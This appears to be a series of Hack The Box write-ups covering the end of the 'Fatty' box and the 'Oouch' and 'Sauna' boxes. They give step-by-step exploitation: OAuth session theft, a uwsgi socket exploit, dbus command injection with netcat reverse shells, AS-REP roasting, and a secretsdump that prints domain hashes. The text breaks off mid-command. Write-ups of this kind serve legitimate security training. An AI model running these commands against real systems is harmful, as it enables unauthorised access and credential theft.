2020/06/21 15:42:02 CMD: UID=1000 PID=2578 | scp -f /opt/fatty/tar/logs.tar ``` ## Privilege escalation At this point a lot of work to understand the behaviour was required to get privesc on the other host. The behavior of all this part was: * First upload a tar file, inside the tar a file called the same way `logs.tar` with a symlink pointing to `/root/.ssh/authorized_keys` * The server extract the tar file and our new `logs.tar` file with the symlink replaces its own name with the link to authorized\_keys * Then upload an authorized\_keys file with same name as the link (Not a real tar file, just text file with tar extension) * While scp'ing on the server it will follow the link * At this point `/root/.ssh/authorized_keys` is a link from to `logs.tar` with our public key on it giving us root access into the box. First create a logs\_key.tar file with public key contents ```bash cat id_rsa.pub > logs_key.tar ``` Create a link called `logs.tar` pointing to root authorized\_keys, and compress it as .tar ```bash $ ln -s /root/.ssh/authorized_keys logs.tar $ tar -cvf logs_link.tar logs.tar logs.tar ``` Inside the container download both files and remove existing `logs.tar` file. First step in this privesc is to put the link, copy link tar as original name `logs.tar` and wait a minute. ```bash 2f265ce12800:/opt/fatty/tar$ wget http://10.10.14.31/logs_key.tar 2f265ce12800:/opt/fatty/tar$ rm logs.tar 2f265ce12800:/opt/fatty/tar$ cp logs_link.tar logs.tar ``` At this point the link might be created, clean previous `logs.tar` and replace it with our key file ```bash 2f265ce12800:/opt/fatty/tar$ wget http://10.10.14.31/logs_key.tar 2f265ce12800:/opt/fatty/tar$ rm -rf logs.tar 2f265ce12800:/opt/fatty/tar$ cp logs_key.tar logs.tar ``` We can see the files were copied two times ```bash #pspy64 2020/06/23 18:11:01 CMD: UID=0 PID=912 | sshd: [accepted] 2020/06/23 18:11:01 CMD: UID=22 PID=913 | sshd: [net] 2020/06/23 18:11:01 CMD: UID=0 PID=914 | sshd: qtc [priv] 2020/06/23 18:11:02 CMD: UID=1000 PID=915 | scp -f /opt/fatty/tar/logs.tar 2020/06/23 18:12:01 CMD: UID=0 PID=919 | /usr/sbin/sshd -R 2020/06/23 18:12:01 CMD: UID=22 PID=920 | sshd: [net] 2020/06/23 18:12:01 CMD: UID=0 PID=921 | sshd: qtc [priv] 2020/06/23 18:12:01 CMD: UID=1000 PID=922 | ash -c scp -f /opt/fatty/tar/logs.tar ``` ## Root After the second `logs.tar` is downloaded, we can SSH into the box as root user. ```bash $ ssh root@server.fatty.htb -i id_rsa Linux fatty 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jan 29 12:31:22 2020 root@fatty:~# id uid=0(root) gid=0(root) groups=0(root) root@fatty:~# hostname fatty root@fatty:~# cat root.txt ee982fa19b41------------------------- ``` Great, we rooted Fatty To me this was one of the best boxes I've did on Hack the Box and the one on which I've spent more time until now (\~50h). Even though, it was fun and not the kind of boxes looking for unknown things Regards # Oouch HTB writeup ![](/files/-MDe7Kb-GM4sTO6BiMvD) Oouch is one of the hard (close to Insane) boxes that will give you a lot of fun but also tons of frustration with a big dose of new technologies and web techniques. Prepare to study, investigate and get fun. ## Enum ### Port scans As with every box, first is to execute some Nmap to discover open ports and execute basic script against those. ```bash Running script with target Oouch/10.10.10.177 [*] Creating directory Oouch structure [*] Running NMAP all ports to 10.10.10.177 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST Initiating Ping Scan at 16:21 Scanning 10.10.10.177 [2 ports] Completed Ping Scan at 16:21, 0.04s elapsed (1 total hosts) Initiating Connect Scan at 16:21 Scanning 10.10.10.177 [65535 ports] Discovered open port 22/tcp on 10.10.10.177 Discovered open port 21/tcp on 10.10.10.177 Discovered open port 8000/tcp on 10.10.10.177 Completed Connect Scan at 16:21, 12.86s elapsed (65535 total ports) Nmap scan report for 10.10.10.177 Host is up (0.040s latency). Not shown: 64978 closed ports, 554 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 8000/tcp open http-alt Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds ``` ```bash [*] Running NMAP scripts to open ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-15 16:21 CEST WARNING: Service 10.10.10.177:8000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value Nmap scan report for 10.10.10.177 Host is up (0.040s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 ftp ftp 49 Feb 11 19:34 project.txt | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.34 | Logged in as ftp | TYPE: ASCII | Session bandwidth limit in byte/s is 30000 | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA) |_ 256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519) 8000/tcp open rtsp | fingerprint-strings: | FourOhFourRequest, GetRequest, HTTPOptions: | HTTP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization |

Bad Request (400)

| RTSPRequest: | RTSP/1.0 400 Bad Request | Content-Type: text/html | Vary: Authorization |

Bad Request (400)

| SIPOptions: | SIP/2.0 400 Bad Request | Content-Type: text/html | Vary: Authorization |_

Bad Request (400)

|_http-title: Site doesn't have a title (text/html). |_rtsp-methods: ERROR: Script execution failed (use -d to debug) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.80%I=7%D=5/15%Time=5EBEA581%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Type:\x20tex SF:t/html\r\nVary:\x20Authorization\r\n\r\n

Bad\x20Request\x20\(400\)")%r(FourOhFourRequest,64,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nCon SF:tent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n

Bad\x20Req SF:uest\x20\(400\)

")%r(HTTPOptions,64,"HTTP/1\.0\x20400\x20Bad\x20Req SF:uest\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization\r\n\r\n

Bad\x20Request\x20\(400\)

")%r(RTSPRequest,64,"RTSP/1\.0\x20400\x2 SF:0Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Authorization SF:\r\n\r\n

Bad\x20Request\x20\(400\)

")%r(SIPOptions,63,"SIP/2\.0\ SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/html\r\nVary:\x20Auth SF:orization\r\n\r\n

Bad\x20Request\x20\(400\)

"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.89 seconds xnaaro:parrot  /media/xnaaro/SSD/hackthebox/machines  ``` After initial enumeration I've found out `-T5` with Nmap missed a port, so built a script to enumerate ports with netcat. Here are the results with a new port (5000) discovered ```bash $ bash /media/xnaaro/SSD/repos/hacking_scripts/bash_nmap.sh 10.10.10.177 port 21 open port 22 open port 5000 open ``` ### Web fuzzing The main website at port 8000 didn't have any valid response, just server error. So executed a fuzzer to discover vhosts on the server. ```bash $ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.177:8000 -H "Host: FUZZ.oouch.htb" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.1.0-git ________________________________________________ :: Method : GET :: URL : http://10.10.10.177:8000 :: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt :: Header : Host: FUZZ.oouch.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 150 :: Matcher : Response status: 200,204,301,302,307,401,403 ________________________________________________ authorization [Status: 200, Size: 1429, Words: 246, Lines: 32] ``` Discovered a vhost called `authorization`, then fuzzed it to discover other internal paths and files a unauthenticated and then with an authenticated cookie. ```bash $ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://authorization.oouch.htb:8000/FUZZ -s home login signupbottom $ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://authorization.oouch.htb:8000/oauth/FUZZ -H "Cookie: sessionid=50cpf32nny6cfdxrymttfyd67gyuzo0u; csrftoken=LOADoAlKfCPTK2n6IPCjlhPJdSihc8XJYMenHN0XzlB2ummc9sC7kHTazJlghdaa" -s applications authorize token ``` ## FTP Nmap gave as an FTP port opened with anonymous enabled, on the FTP there was only a file called `project.txt` with the following contents. ``` $ cat project.txt Flask -> Consumer Django -> Authorization Server ``` This gave us an idea of what the server is running and what could be the vhosts names * authorization.oouch.htb * consumer.oouch.htb ## Abusing Oauth for foothold Once tried some user creation, login, authorizations, etc. I understood the behaviour and the technology behind all of this, in this case was Oauth2. This box gave me the opportunity to study this technology with some blogs and an Udemy course. One of the blogs I've found was this, were the author explains how could possibly get other's account in an miscofigured Oauth implementation: ### qtc user on consumer The whole process to steal a user session was: * Create test account in both sites consumer and authentication * Open burp and intercept requests * Create authorization token opening * Forward requests until you get a token, copy URL and drop connection so the token is not used * Example token request GET * Send malicious message to the admin in /contact and wait \~30 seconds * Logout * Login at * You got qtc user :) On the /Documents path there was this juicy information. ```bash | dev_access.txt | develop:supermegasecureklarabubu123! -> Allows application registration. | | o_auth_notes.txt | /api/get_user -> user data. oauth/authorize -> Now also supports GET method.| | todo.txt | Chris mentioned all users could obtain my ssh key. Must be a joke... | ``` Now we have to steal the cookie of `qtc` user on authorization. ### qtc on authorization via SSRF Next step is to create a client app at with the login found on the documents. * Use authorization\_code as client type * Redirect url should be pointing to your netcat listener (`http://1.2.3.4:4443`) Craft an auth request with the client\_id, client\_secret and redirect\_url created in the client. Then send the auth request on the contact form again and wait \~30 seconds with your netcat listening on the correct port ```bash http://authorization.oouch.htb:8000/oauth/authorize/?grant_type=authorization_code&client_id=&client_secret=&redirect_uri=http://10.10.14.34:4443 ``` Once qtc clicks the link, will attempt to authorize in our client and get redirected to us, here we can steal his cookie on `authorization`. ```bash $ rlwrap nc -nvlp 4443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4443 Ncat: Listening on 0.0.0.0:4443 Ncat: Connection from 10.10.10.177. Ncat: Connection from 10.10.10.177:32776. GET /?error=invalid_request&error_description=Missing+response_type+parameter. HTTP/1.1 Host: 10.10.14.34:4443 User-Agent: python-requests/2.21.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Cookie: sessionid=gp7p8lcttjmq4kyc93m4uzkdhi4yledq; ``` Now we can login as `qtc` on authorization with that cookie, change it on the browser or add it as header `Cookie: sessionid=` in curl or python. At this point we create a new client app as with type `client_credentials`. Then we get a token on the new client to get a new valid token. ```bash $ curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=&client_secret=" -L -s {"access_token": "iZAtci8ayDcYQsbCeBctfOj1MIpARK", "expires_in": 600, "token_type": "Bearer", "scope": "read write"} ``` Once we have a token and a cookie on authorization, get can get ssh information about `qtc` user, as Chris mentioned in the /documentation, copy the ssh\_key into a file. ```bash curl -X GET 'http://authorization.oouch.htb:8000/api/get_ssh/?access_token=' -H "Cookie: sessionid=" {"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAYEAqQvHuKA1i28D1ldvVbFB8PL7ARxBNy8Ve/hfW/.............\n-----END OPENSSH PRIVATE KEY-----"} ``` The ssh key have \n as strings instead of parsed as real jump lines, so lets' replace it to fix the ssh private key syntax. ```bash sed -i 's/\\n/\n/g' id_rsa_qtc ``` Set proper permissions to the key and connect to the box with `qtc` user. ```bash $ chmod 600 id_rsa_qtc $ ssh qtc@10.10.10.177 -i id_rsa_qtc Linux oouch 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Feb 25 12:45:55 2020 from 10.10.14.3 qtc@oouch:~$ cat user.txt be510................... ``` ## Local enumeration First thing we see once we connect is `.note.txt` inside `qtc`'s `$HOME` directory. This file contents are really important as is the base information we need to do all the privesc process. ```bash qtc@oouch:~$ cat .note.txt Implementing an IPS using DBus and iptables == Genius ``` We noticed docker is running and there are some neighbours in the net aka containers running with those IPs. ```bash qtc@oouch:~$ ip neighbour 10.10.10.2 dev ens34 lladdr 00:50:56:b9:f6:f9 REACHABLE 172.18.0.4 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:04 STALE 172.18.0.3 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:03 STALE fe80::250:56ff:feb9:f6f9 dev ens34 lladdr 00:50:56:b9:f6:f9 router STALE ``` Try to connect through ssh to them, one of them will work ## Getting www-data ```bash qtc@oouch:~$ ssh qtc@172.18.0.3 Linux aeb4525789d8 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 21 17:00:56 2020 from 172.18.0.1 ``` Inside the container, after full enumeration we end up focusing on `/code` directory ```bash qtc@aeb4525789d8:/code$ ls -lsrta /code total 52 4 -rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini 4 -rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh 4 -rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt 4 -rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf 4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations 4 -r-------- 1 root root 2602 Feb 11 17:34 key 4 -rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py 4 -rw-r--r-- 1 root root 325 Feb 11 17:34 config.py 4 -r-------- 1 root root 568 Feb 11 17:34 authorized_keys 4 -rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile 4 drwxr-xr-x 4 root root 4096 Feb 11 17:34 . 4 drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch 4 drwxr-xr-x 1 root root 4096 Feb 25 12:33 .. 0 -rw-rw-rw- 1 root root 0 May 21 17:52 urls.txt ``` ### Abusing uwsgi Here we can see all the consumer app code. For now, we focus on uwsgi configuration, which have open permissions on the unix socket under `/tmp` ``` qtc@aeb4525789d8:/code$ cat uwsgi.ini [uwsgi] module = oouch:app uid = www-data gid = www-data master = true processes = 10 socket = /tmp/uwsgi.socket chmod-sock = 777 vacuum = true die-on-term = true ``` After some google fu research, found this python exploit to take advance of the wsgi socket. The exploit needs to be fixed for python3 compatibility, change `sz` function as follows: ```python # Original def sz(x): s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0') if sys.version_info[0] == 3: import bytes s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex') return s[::-1] # Fixed def sz(x): s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0') s = bytes.fromhex(s) return s[::-1] ``` This container does not have netcat, wget or curl installed. You could use ftp or as I did, encode the exploit as base64 in your host and decode inside the box. ``` qtc@aeb4525789d8:/tmp$ echo "IyEvdXNyL2Jpbi9weXRob24KIyBjb2Rpbmc6IHV0Zi04CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMK X18gPT0gJ19fbWFpbl9fJzoKICAgIG1haW4oKQo=" | base64 -d > exploit.py ``` ```` Open a netcat listener in your host or in oouch box, and execute the exploit. ```sh qtc@aeb4525789d8:/tmp$ python exploit.py -m unix -u uwsgi.socket -c "bash -c 'bash -i >& /dev/tcp/10.10.14.34/4443 0>&1'" [*]Sending payload. ```` This will give us a shell as www-data on the container. ```bash $ rlwrap nc -nvlp 4443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4443 Ncat: Listening on 0.0.0.0:4443 Ncat: Connection from 10.10.10.177. Ncat: Connection from 10.10.10.177:51688. bash: cannot set terminal process group (4895): Inappropriate ioctl for device bash: no job control in this shell bash: /root/.bashrc: Permission denied www-data@aeb4525789d8:/code$ ``` ## Root During previous enumeration on /code and some code review, we saw what `.note.txt` said about dbus. ### Abusing DBUS This is a excerpt of the vulnerable implementation found at `/code/oouch/`. ```python www-data@aeb4525789d8:/code$ cat oouch/routes.py | grep bus cat oouch/routes.py | grep bus import dbus The contact page is required to abuse the Oauth vulnerabilities. This endpoint allows the user to send messages using a textfield. bus = dbus.SystemBus() block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') bus.close() ``` Found a similar exploit for a different application abusing dbus and got the proper syntax to exploit ours app. At this point, open another netcat listener and send a message to dbus with a reverse shell payload pointing to your listener. ```bash www-data@aeb4525789d8:/code$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 10.10.14.34 4444 >/tmp/.0;" < /bin/bash -i 2>&1 | nc 10.10.14.34 4444 >/tmp/.0;" method return time=1590084712.982363 sender=:1.3 -> destination=:1.517 serial=3 reply_serial=2 string "Carried out :D" ``` Now we got root on `oouch.htb` box. ```bash $ rlwrap nc -nvlp 4444 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.177. Ncat: Connection from 10.10.10.177:50784. bash: cannot set terminal process group (2502): Inappropriate ioctl for device bash: no job control in this shell root@oouch:/root# id id uid=0(root) gid=0(root) groups=0(root) root@oouch:/root# hostname hostname oouch root@oouch:/root# cat /root/root.txt cat /root/root.txt d98ef.......... ``` This box was specially fun and frustrating, made me learn Oauth and investigate about dbus and uwsgi. Also good practice for csrf and ssrf techniques. Hope you enjoyed the whole process. # Sauna HTB writeup ![](/files/-MCXXTZZHPLq3PFJPC4p) Sauna was my very first windows box, so don't expect this writeup to be super technical or with a lot of knowledge of what's going. Even though, the box was easy to do. ## Recon First nmap scan showed the box was an AD with kerberos and a web site running on port 80. ```bash # Port scan Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-27 18:03 CEST Nmap scan report for 10.10.10.175 Host is up (0.068s latency). Not shown: 65515 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49675/tcp open unknown 49686/tcp open unknown 64808/tcp open unknown Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 184.21 seconds Raw packets sent: 196698 (8.655MB) | Rcvd: 2100 (479.390KB) # Script results [*] Running NMAP scripts to open ports Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-27 18:06 CEST Nmap scan report for 10.10.10.175 Host is up (0.32s latency). PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Egotistical Bank :: Home 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-28 00:07:15Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49675/tcp open msrpc Microsoft Windows RPC 49686/tcp open msrpc Microsoft Windows RPC 64808/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=6/27%Time=5EF76E89%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 8h00m45s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-28T00:09:39 |_ start_date: N/A ``` ## FSmith user Browsing the web site I've found a list of possible usernames at Then did a wordlist of possible usernames. ```bash $ cat usernames.txt sauna HSmith SKerb HBear BTaylor SDriver SCoins FSmith ``` Next step is to try get TGTs from users who have 'Do not require Kerberos preauthentication' set on kerberos ```bash $ python3 /home/xnaaro/git_repos/impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames.txt -format hashcat -o passwords.txt Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [-] User sauna doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HSmith doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) ``` This gave me an `Kerberos 5 AS-REP` hash from FSmith user. ```bash $ cat passwords.txt $krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:3206b8cb1b99b24d5ddeb489e7159ccf$43b733ba230f2f9a2de8663588d5d335a8928ec26a0d6c061aadb80821b4e322317d7687b0f90bbb8c9c080c0ed9daca9df11bacc6e7db2eb4df5f742194c19a65792edeb948e899fab681fff296d296ab65366cc0cb93c4ab84f058c1-------------------------------------------------------------------------- ``` Cracked the password with hashcat ```bash $ hashcat -m 18200 passwords.txt --wordlist /usr/share/wordlists/rockyou.txt --force -o cracked_pass hashcat (v5.1.0) starting... Session..........: hashcat Status...........: Cracked Hash.Type........: Kerberos 5 AS-REP etype 23 Hash.Target......: $krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:bd3af59...b5f83a Time.Started.....: Mon Jun 29 18:12:54 2020 (32 secs) Time.Estimated...: Mon Jun 29 18:13:26 2020 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 331.2 kH/s (12.07ms) @ Accel:8 Loops:1 Thr:64 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 10543104/14344385 (73.50%) Rejected.........: 0/10543104 (0.00%) Restore.Point....: 10530816/14344385 (73.41%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1....: Tr1nity -> Teague51 Started: Mon Jun 29 18:12:54 2020 Stopped: Mon Jun 29 18:13:27 2020 $ cat cracked_pass $krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:bd3af5934e1a9abfc6cd770402233512$6edde74195ce2e808f1fa664e97ebab69a672a6b12ab0a580906d2c357cc98f986fa71aba2fe85c9ce139b297d234824f82b374f473585a////////////////////////////////:The----------3 ``` As winrm was enabled on the server I could easily connect using `evil-winrm` using FSmith and just cracked credentials. ```bash $ evil-winrm -i 10.10.10.175 -u FSmith -p The-----------3 Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\FSmith\Documents> whoami egotisticalbank\fsmith *Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\FSmith\Desktop> dir Directory: C:\Users\FSmith\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/23/2020 10:03 AM 34 user.txt *Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt 1b5520b98d--------------------- ``` First thing I did was to run `winPEAS.exe` which gave me default credentials for `svc_loanmgr` user ```bash [+] Looking for AutoLogon credentials(T1012) Some AutoLogon credentials were found!! DefaultDomainName : EGOTISTICALBANK DefaultUserName : EGOTISTICALBANK\svc_loanmanager DefaultPassword : Mo-----------------d! ``` With this user now I can dump secrets with impacket. ```bash $ impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863-----------------------dff::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c::: EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd::: EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c::: SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:bc8d511e5aba1a9a0dc08dd65886267b::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031 Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0 Administrator:des-cbc-md5:19d5f15d689b1ce5 krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24 krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9 krbtgt:des-cbc-md5:c170d5dc3edfc1d9 EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324 EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9 EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7 EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2 EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2 SAUNA$:aes256-cts-hmac-sha1-96:85aa062ea68e989d52ea603faf0819ef94ab9749ac16385560f7d85a23a1b99a SAUNA$:aes128-cts-hmac-sha1-96:7c6cc42b0a42c1c1d3e71d4524a265f2 SAUNA$:des-cbc-md5:f438fd4f61136be5 [*] Cleaning up... ``` I've first had some errors about time not synced with the server, so first updated my local type with the box date. ```bash $ sudo ntpdate 10.10.10.175 30 Jun 04:51:08 ntpdate[19204]: step time server 10.10.10.175 offset +25203.209026 sec ``` Now got a ticket from kerberos as Adminstrator user using his NTLM hash ```bash $ python3 